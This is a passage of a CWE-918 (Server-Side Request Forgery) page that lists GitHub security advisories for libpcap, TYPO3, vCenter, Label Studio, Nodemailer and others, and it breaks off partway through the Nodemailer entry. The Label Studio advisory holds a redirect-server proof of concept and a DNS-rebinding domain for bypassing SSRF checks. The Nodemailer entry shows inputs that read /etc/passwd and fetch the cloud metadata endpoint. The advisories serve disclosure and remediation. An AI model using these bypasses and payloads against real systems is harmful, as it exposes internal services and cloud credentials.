Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4674 vulnerabilities reference this CWE, most recent first.

GHSA-P4MJ-GPQ6-MV6X

Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:08
VLAI
Details

rpcapd/daemon.c in libpcap before 1.9.1 allows SSRF because a URL may be provided as a capture source.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-15164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-03T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "rpcapd/daemon.c in libpcap before 1.9.1 allows SSRF because a URL may be provided as a capture source.",
  "id": "GHSA-p4mj-gpq6-mv6x",
  "modified": "2024-04-04T02:08:24Z",
  "published": "2022-05-24T16:57:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15164"
    },
    {
      "type": "WEB",
      "url": "https://github.com/the-tcpdump-group/libpcap/commit/33834cb2a4d035b52aa2a26742f832a112e90a0a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/the-tcpdump-group/libpcap/blob/libpcap-1.9/CHANGES"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5P5K3DQ4TFSZBDB3XN4CZNJNQ3UIF3D3"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GBIEKWLNIR62KZ5GA7EDXZS52HU6OE5F"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UZTIPUWABYUE5KQOLCKAW65AUUSB7QO6"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Dec/23"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT210785"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT210788"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT210789"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT210790"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.tcpdump.org/public-cve-list.txt"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2019/Dec/26"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P4XX-M758-3HPX

Vulnerability from github – Published: 2025-05-20 19:20 – Updated: 2025-05-20 19:20
VLAI
Summary
TYPO3 CMS Webhooks Server Side Request Forgery
Details

Problem

Webhooks are inherently vulnerable to Server-Side Request Forgery (SSRF), which can be exploited by adversaries to target internal resources (e.g., localhost or other services on the local network). While this is not a vulnerability in TYPO3 itself, it may enable attackers to blindly access systems that would otherwise be inaccessible. An administrator-level backend user account is required to exploit this vulnerability.

Solution

Update to TYPO3 versions 12.4.31 LTS, 13.4.12 LTS that fix the problem described.

[!IMPORTANT]

Manual actions required

To mitigate potential SSRF risks via webhooks, it is recommended to explicitly allow access only to trusted hosts. This can be achieved by configuring the allowlist in $GLOBALS['TYPO3_CONF_VARS']['HTTP']['allowed_hosts']['webhooks'].

If the allowlist is not defined or set to null, all requests will be allowed. If the allowlist is an empty array, all requests will be blocked.

By default, the factory setting allows all requests. This prevents existing webhooks from failing after upgrading to the affected TYPO3 versions. Administrators must configure this setting manually to enforce restrictions.

Credits

Thanks to the National Cyber Security Center (NCSC) of Switzerland for reporting this issue, and to TYPO3 core & security team member Benjamin Franzke for fixing it.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.4.30"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-webhooks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.4.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.4.11"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "typo3/cms-webhooks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0.0"
            },
            {
              "fixed": "13.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-20T19:20:55Z",
    "nvd_published_at": "2025-05-20T14:15:50Z",
    "severity": "LOW"
  },
  "details": "### Problem\nWebhooks are inherently vulnerable to Server-Side Request Forgery (SSRF), which can be exploited by adversaries to target internal resources (e.g., _localhost_ or other services on the local network). While this is not a vulnerability in TYPO3 itself, it may enable attackers to blindly access systems that would otherwise be inaccessible. An administrator-level backend user account is required to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 12.4.31 LTS, 13.4.12 LTS that fix the problem described.\n\n\u003e [!IMPORTANT]\n\u003e\n\u003e **Manual actions required**\n\u003e\n\u003e To mitigate potential SSRF risks via webhooks, it is recommended to explicitly allow access only to trusted hosts. This can be achieved by configuring the allowlist in `$GLOBALS[\u0027TYPO3_CONF_VARS\u0027][\u0027HTTP\u0027][\u0027allowed_hosts\u0027][\u0027webhooks\u0027]`.\n\u003e \n\u003e If the allowlist is not defined or set to `null`, all requests will be allowed.\n\u003e If the allowlist is an empty `array`, all requests will be blocked.\n\u003e \n\u003e By default, the factory setting allows all requests. This prevents existing webhooks from failing after upgrading to the affected TYPO3 versions. Administrators must configure this setting manually to enforce restrictions.\n\n\n### Credits\nThanks to the National Cyber Security Center (NCSC) of Switzerland for reporting this issue, and to TYPO3 core \u0026 security team member Benjamin Franzke for fixing it.",
  "id": "GHSA-p4xx-m758-3hpx",
  "modified": "2025-05-20T19:20:55Z",
  "published": "2025-05-20T19:20:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-p4xx-m758-3hpx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47936"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TYPO3-CMS/webhooks/commit/0df8b8adae577876fa253679c9ef3fe2a7ee64fd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TYPO3-CMS/webhooks"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-core-sa-2025-012"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TYPO3 CMS Webhooks Server Side Request Forgery"
}

GHSA-P52H-5FJJ-X2PC

Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15
VLAI
Details

The vCenter Server contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in vCenter Server Content Library. An authorised user with access to content library may exploit this issue by sending a POST request to vCenter Server leading to information disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-21993"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-23T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The vCenter Server contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in vCenter Server Content Library. An authorised user with access to content library may exploit this issue by sending a POST request to vCenter Server leading to information disclosure.",
  "id": "GHSA-p52h-5fjj-x2pc",
  "modified": "2022-05-24T19:15:37Z",
  "published": "2022-05-24T19:15:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21993"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2021-0020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-P52V-F53F-HRR6

Vulnerability from github – Published: 2024-01-23 21:30 – Updated: 2025-06-20 21:31
VLAI
Details

A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central 2019 (lower than build 6481) could allow an attacker to interact with internal or local services directly.

Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

This is a similar, but not identical vulnerability as CVE-2023-38626.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-38627"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-23T21:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central 2019 (lower than build 6481) could allow an attacker to interact with internal or local services directly.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThis is a similar, but not identical vulnerability as CVE-2023-38626.",
  "id": "GHSA-p52v-f53f-hrr6",
  "modified": "2025-06-20T21:31:49Z",
  "published": "2024-01-23T21:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38627"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/dcx/s/solution/000294176?language=en_US"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P53H-FPW3-FFWH

Vulnerability from github – Published: 2024-03-05 18:31 – Updated: 2024-08-27 21:31
VLAI
Details

A Server-Side Request Forgery (SSRF) in the installUpdateThemePluginAction function of WonderCMS v3.1.3 allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the installThemePlugin parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-27561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-05T17:15:06Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-Side Request Forgery (SSRF) in the installUpdateThemePluginAction function of WonderCMS v3.1.3 allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the installThemePlugin parameter.",
  "id": "GHSA-p53h-fpw3-ffwh",
  "modified": "2024-08-27T21:31:10Z",
  "published": "2024-03-05T18:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27561"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zer0yu/CVE_Request/blob/master/WonderCMS/wondercms_installUpdateThemePluginAction_plugins.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P59Q-W6FF-WF6F

Vulnerability from github – Published: 2024-06-25 00:34 – Updated: 2025-10-15 18:31
VLAI
Details

Adminer and AdminerEvo are vulnerable to SSRF via database connection fields. This could allow an unauthenticated remote attacker to enumerate or access systems the attacker would not otherwise have access to. Adminer is no longer supported, but this issue was fixed in AdminerEvo version 4.8.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-45195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-24T22:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Adminer and AdminerEvo are vulnerable to SSRF via database connection fields. This could allow an unauthenticated remote attacker to enumerate or access systems the attacker would not otherwise have access to.\u00a0Adminer is no longer supported, but this issue was fixed in AdminerEvo version 4.8.4.",
  "id": "GHSA-p59q-w6ff-wf6f",
  "modified": "2025-10-15T18:31:47Z",
  "published": "2024-06-25T00:34:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45195"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adminerevo/adminerevo/pull/102/commits/18f3167bbcbec3bc746f62db72e016aa99144efc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P59W-9GQW-WJ8R

Vulnerability from github – Published: 2024-01-31 18:04 – Updated: 2024-11-22 17:56
VLAI
Summary
Label Studio SSRF on Import Bypassing `SSRF_PROTECTION_ENABLED` Protections
Details

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.11.0 and was tested on version 1.8.2.

Overview

Label Studio's SSRF protections that can be enabled by setting the SSRF_PROTECTION_ENABLED environment variable can be bypassed to access internal web servers. This is because the current SSRF validation is done by executing a single DNS lookup to verify that the IP address is not in an excluded subnet range. This protection can be bypassed by either using HTTP redirection or performing a DNS rebinding attack.

Description

The following tasks_from_url method in label_studio/data_import/uploader.py performs the SSRF validation (validate_upload_url) before sending the request.

def tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list):
    """Download file using URL and read tasks from it"""
    # process URL with tasks
    try:
        filename = url.rsplit('/', 1)[-1]

        validate_upload_url(url, block_local_urls=settings.SSRF_PROTECTION_ENABLED)
        # Reason for #nosec: url has been validated as SSRF safe by the
        # validation check above.
        response = requests.get(
            url, verify=False, headers={'Accept-Encoding': None}
        )  # nosec
        file_content = response.content
        check_tasks_max_file_size(int(response.headers['content-length']))
        file_upload = create_file_upload(
            user, project, SimpleUploadedFile(filename, file_content)
        )
        if file_upload.format_could_be_tasks_list:
            could_be_tasks_list = True
        file_upload_ids.append(file_upload.id)
        tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(
            project, file_upload_ids
        )

    except ValidationError as e:
        raise e
    except Exception as e:
        raise ValidationError(str(e))
    return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list

The validate_upload_url code in label_studio/core/utils/io.py is shown below.

def validate_upload_url(url, block_local_urls=True):
    """Utility function for defending against SSRF attacks. Raises
        - InvalidUploadUrlError if the url is not HTTP[S], or if block_local_urls is enabled
          and the URL resolves to a local address.
        - LabelStudioApiException if the hostname cannot be resolved

    :param url: Url to be checked for validity/safety,
    :param block_local_urls: Whether urls that resolve to local/private networks should be allowed.
    """

    parsed_url = parse_url(url)

    if parsed_url.scheme not in ('http', 'https'):
        raise InvalidUploadUrlError

    domain = parsed_url.host
    try:
        ip = socket.gethostbyname(domain)
    except socket.error:
        from core.utils.exceptions import LabelStudioAPIException
        raise LabelStudioAPIException(f"Can't resolve hostname {domain}")

    if not block_local_urls:
        return

    if ip == '0.0.0.0':  # nosec
        raise InvalidUploadUrlError
    local_subnets = [
        '127.0.0.0/8',
        '10.0.0.0/8',
        '172.16.0.0/12',
        '192.168.0.0/16',
    ]
    for subnet in local_subnets:
        if ipaddress.ip_address(ip) in ipaddress.ip_network(subnet):
            raise InvalidUploadUrlError

The issue here is the SSRF validation is only performed before the request is sent, and does not validate the destination IP address. Therefore, an attacker can either redirect the request or perform a DNS rebinding attack to bypass this protection.

Proof of Concept

Both the HTTP redirection and DNS rebinding methods for bypassing Label Studio's SSRF protections are explained below.

HTTP Redirection

The python requests module automatically follows HTTP redirects (eg. response code 301 and 302). Therefore, an attacker could use a URL shortener (eg. https://www.shorturl.at/) or host the following Python code on an external server to redirect request from a Label Studio server to an internal web server.

from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(301)
        # skip first slash
        self.send_header('Location', self.path[1:])
        self.end_headers()

HTTPServer(("", 8080), RedirectHandler).serve_forever()

DNS Rebinding Attack

DNS rebinding can bypass SSRF protections by resolving to an external IP address for the first resolution, but when the request is sent resolves to an internal IP address that is blocked. For an example, the domain 7f000001.030d1fd6.rbndr.us will randomly switch between the IP address 3.13.31.214 that is not blocked to 127.0.0.1 which is not allowed.

Impact

SSRF vulnerabilities pose a significant risk on cloud environments, since instance credentials are managed by internal web APIs. An attacker can bypass Label Studio's SSRF protections to access internal web servers and partially compromise the confidentiality of those internal servers.

Remediation Advice

  • Before saving any responses, validate the destination IP address is not in the deny list.
  • Consider blocking internal cloud API IP ranges to mitigate the risk of compromising cloud credentials.

Discovered

  • August 2023, Alex Brown, elttam
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "label-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-47116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-31T18:04:40Z",
    "nvd_published_at": "2024-01-31T17:15:13Z",
    "severity": "MODERATE"
  },
  "details": "# Introduction\n\nThis write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to [`1.11.0`](https://github.com/HumanSignal/label-studio/releases/tag/1.11.0) and was tested on version `1.8.2`.\n\n# Overview\n\nLabel Studio\u0027s SSRF protections that can be enabled by setting the `SSRF_PROTECTION_ENABLED` environment variable can be bypassed to access internal web servers. This is because the current SSRF validation is done by executing a single DNS lookup to verify that the IP address is not in an excluded subnet range. This protection can be bypassed by either using HTTP redirection or performing a [DNS rebinding attack](https://en.wikipedia.org/wiki/DNS_rebinding).\n\n# Description\n\nThe following `tasks_from_url` method in [`label_studio/data_import/uploader.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_import/uploader.py#L127-L155) performs the SSRF validation (`validate_upload_url`) before sending the request.\n\n```python\ndef tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list):\n    \"\"\"Download file using URL and read tasks from it\"\"\"\n    # process URL with tasks\n    try:\n        filename = url.rsplit(\u0027/\u0027, 1)[-1]\n\n        validate_upload_url(url, block_local_urls=settings.SSRF_PROTECTION_ENABLED)\n        # Reason for #nosec: url has been validated as SSRF safe by the\n        # validation check above.\n        response = requests.get(\n            url, verify=False, headers={\u0027Accept-Encoding\u0027: None}\n        )  # nosec\n        file_content = response.content\n        check_tasks_max_file_size(int(response.headers[\u0027content-length\u0027]))\n        file_upload = create_file_upload(\n            user, project, SimpleUploadedFile(filename, file_content)\n        )\n        if file_upload.format_could_be_tasks_list:\n            could_be_tasks_list = True\n        file_upload_ids.append(file_upload.id)\n        tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(\n            project, file_upload_ids\n        )\n\n    except ValidationError as e:\n        raise e\n    except Exception as e:\n        raise ValidationError(str(e))\n    return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list\n```\n\nThe `validate_upload_url` code in [`label_studio/core/utils/io.py`](https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/core/utils/io.py#L174-L209) is shown below.\n\n```python\ndef validate_upload_url(url, block_local_urls=True):\n    \"\"\"Utility function for defending against SSRF attacks. Raises\n        - InvalidUploadUrlError if the url is not HTTP[S], or if block_local_urls is enabled\n          and the URL resolves to a local address.\n        - LabelStudioApiException if the hostname cannot be resolved\n\n    :param url: Url to be checked for validity/safety,\n    :param block_local_urls: Whether urls that resolve to local/private networks should be allowed.\n    \"\"\"\n\n    parsed_url = parse_url(url)\n\n    if parsed_url.scheme not in (\u0027http\u0027, \u0027https\u0027):\n        raise InvalidUploadUrlError\n\n    domain = parsed_url.host\n    try:\n        ip = socket.gethostbyname(domain)\n    except socket.error:\n        from core.utils.exceptions import LabelStudioAPIException\n        raise LabelStudioAPIException(f\"Can\u0027t resolve hostname {domain}\")\n\n    if not block_local_urls:\n        return\n\n    if ip == \u00270.0.0.0\u0027:  # nosec\n        raise InvalidUploadUrlError\n    local_subnets = [\n        \u0027127.0.0.0/8\u0027,\n        \u002710.0.0.0/8\u0027,\n        \u0027172.16.0.0/12\u0027,\n        \u0027192.168.0.0/16\u0027,\n    ]\n    for subnet in local_subnets:\n        if ipaddress.ip_address(ip) in ipaddress.ip_network(subnet):\n            raise InvalidUploadUrlError\n```\n\nThe issue here is the SSRF validation is only performed before the request is sent, and does not validate the destination IP address. Therefore, an attacker can either redirect the request or perform a DNS rebinding attack to bypass this protection.\n\n# Proof of Concept\n\nBoth the HTTP redirection and DNS rebinding methods for bypassing Label Studio\u0027s SSRF protections are explained below.\n\n### HTTP Redirection\n\nThe python `requests` module automatically follows HTTP redirects (eg. response code `301` and `302`). Therefore, an attacker could use a URL shortener (eg. `https://www.shorturl.at/`) or host the following Python code on an external server to redirect request from a Label Studio server to an internal web server.\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n\n    def do_GET(self):\n        self.send_response(301)\n        # skip first slash\n        self.send_header(\u0027Location\u0027, self.path[1:])\n        self.end_headers()\n\nHTTPServer((\"\", 8080), RedirectHandler).serve_forever()\n```\n\n### DNS Rebinding Attack\n\nDNS rebinding can bypass SSRF protections by resolving to an external IP address for the first resolution, but when the request is sent resolves to an internal IP address that is blocked. For an example, the domain `7f000001.030d1fd6.rbndr.us` will randomly switch between the IP address `3.13.31.214` that is not blocked to `127.0.0.1` which is not allowed.\n\n# Impact\n\nSSRF vulnerabilities pose a significant risk on cloud environments, since instance credentials are managed by internal web APIs. An attacker can bypass Label Studio\u0027s SSRF protections to access internal web servers and partially compromise the confidentiality of those internal servers.\n\n# Remediation Advice\n\n* Before saving any responses, validate the destination IP address is not in the deny list.\n* Consider blocking internal cloud API IP ranges to mitigate the risk of compromising cloud credentials.\n\n# Discovered\n- August 2023, Alex Brown, elttam",
  "id": "GHSA-p59w-9gqw-wj8r",
  "modified": "2024-11-22T17:56:15Z",
  "published": "2024-01-31T18:04:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-p59w-9gqw-wj8r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/commit/55dd6af4716b92f2bb213fe461d1ffbc380c6a64"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/DNS_rebinding"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HumanSignal/label-studio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/core/utils/io.py#L174-L209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/blob/1.8.2/label_studio/data_import/uploader.py#L127-L155"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/releases/tag/1.11.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2024-127.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Label Studio SSRF on Import Bypassing `SSRF_PROTECTION_ENABLED` Protections"
}

GHSA-P5J2-GRWG-7RP5

Vulnerability from github – Published: 2023-06-01 03:30 – Updated: 2024-04-04 04:27
VLAI
Details

Advanced Secure Gateway and Content Analysis, prior to 7.3.13.1 / 3.1.6.0, may be susceptible to a Server-Side Request Forgery vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-01T01:15:17Z",
    "severity": "HIGH"
  },
  "details": "Advanced Secure Gateway and Content Analysis, prior to 7.3.13.1 / 3.1.6.0, may be susceptible to a Server-Side Request Forgery vulnerability.",
  "id": "GHSA-p5j2-grwg-7rp5",
  "modified": "2024-04-04T04:27:16Z",
  "published": "2023-06-01T03:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23955"
    },
    {
      "type": "WEB",
      "url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/22217"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P69P-2M86-G334

Vulnerability from github – Published: 2022-10-18 12:00 – Updated: 2022-10-18 12:00
VLAI
Details

RAVA certificate validation system has inadequate filtering for URL parameter. An unauthenticated remote attacker can perform SSRF attack to discover internal network topology base on query response.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-39055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-18T06:15:00Z",
    "severity": "MODERATE"
  },
  "details": "RAVA certificate validation system has inadequate filtering for URL parameter. An unauthenticated remote attacker can perform SSRF attack to discover internal network topology base on query response.",
  "id": "GHSA-p69p-2m86-g334",
  "modified": "2022-10-18T12:00:30Z",
  "published": "2022-10-18T12:00:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39055"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-6616-9092f-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P6GQ-J5CR-W38F

Vulnerability from github – Published: 2026-06-18 14:28 – Updated: 2026-06-18 14:28
VLAI
Summary
Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message
Details

Message-level raw option bypasses disableFileAccess / disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent message

  • Target: nodemailer/nodemailer, npm nodemailer v9.0.0 (HEAD 4e58450eb490e5097a74b2b2cce35a8d9e21856e)
  • Verdict: CONFIRMED (local PoC, no network)

Summary

Nodemailer exposes disableFileAccess and disableUrlAccess so an application that passes untrusted message data to the library can forbid that data from reading local files or fetching URLs. Every attachment, alternative, html/text/watchHtml/amp and icalEvent content node honors these flags. The message-level raw option does not.

MailComposer.compile() builds the root MIME node for a raw message without threading the two flags, so a raw: { path: '/etc/passwd' } or raw: { href: 'http://169.254.169.254/…' } message is read / fetched anyway, and the file or HTTP-response bytes become the actual message that is sent by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose input the application intended to sandbox therefore obtains arbitrary local-file disclosure and a full-response SSRF primitive, delivered to a recipient the same actor can choose.

This is the same vulnerability class as the already-published jsonTransport advisory GHSA-wqvq-jvpq-h66f, but a distinct code path (raw root node, not normalize()), and strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas this affects the delivered RFC822 message for all transports.

Affected component

  • lib/mail-composer/index.js:34-35 — root cause: js if (this.mail.raw) { this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw); } The MimeNode is constructed with only { newline }. Compare the sibling node builders _createMixed/_createAlternative/_createRelated/_createContentNode (lib/mail-composer/index.js:389-527), which all pass disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess.
  • lib/mime-node/index.js:51-52 — the constructor derives this.disableFileAccess/ this.disableUrlAccess solely from its own options; children do not inherit a parent's flags (createChild/appendChild, lines 175-194, pass options through verbatim).
  • lib/mime-node/index.js:812setRaw() content is resolved through this._getStream(this._raw).
  • lib/mime-node/index.js:984-1010_getStream reads the file (fs.createReadStream, 995) or fetches the URL (nmfetch, 1009) only guarded by this.disableFileAccess/this.disableUrlAccess, which on the raw root node are false.
  • Reached from the normal send flow at lib/mailer/index.js:188 (mail.message = new MailComposer(mail.data).compile()), so every transport is affected.

Reachability gate (hop-by-hop)

  1. Source. Application calls transporter.sendMail({ raw: <userControlled> , to: <userControlled> }) with disableFileAccess: true and/or disableUrlAccess: true configured on the transporter (forced onto mail.data in lib/mailer/mail-message.js:36-40) or per message. This is the exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was accepted.
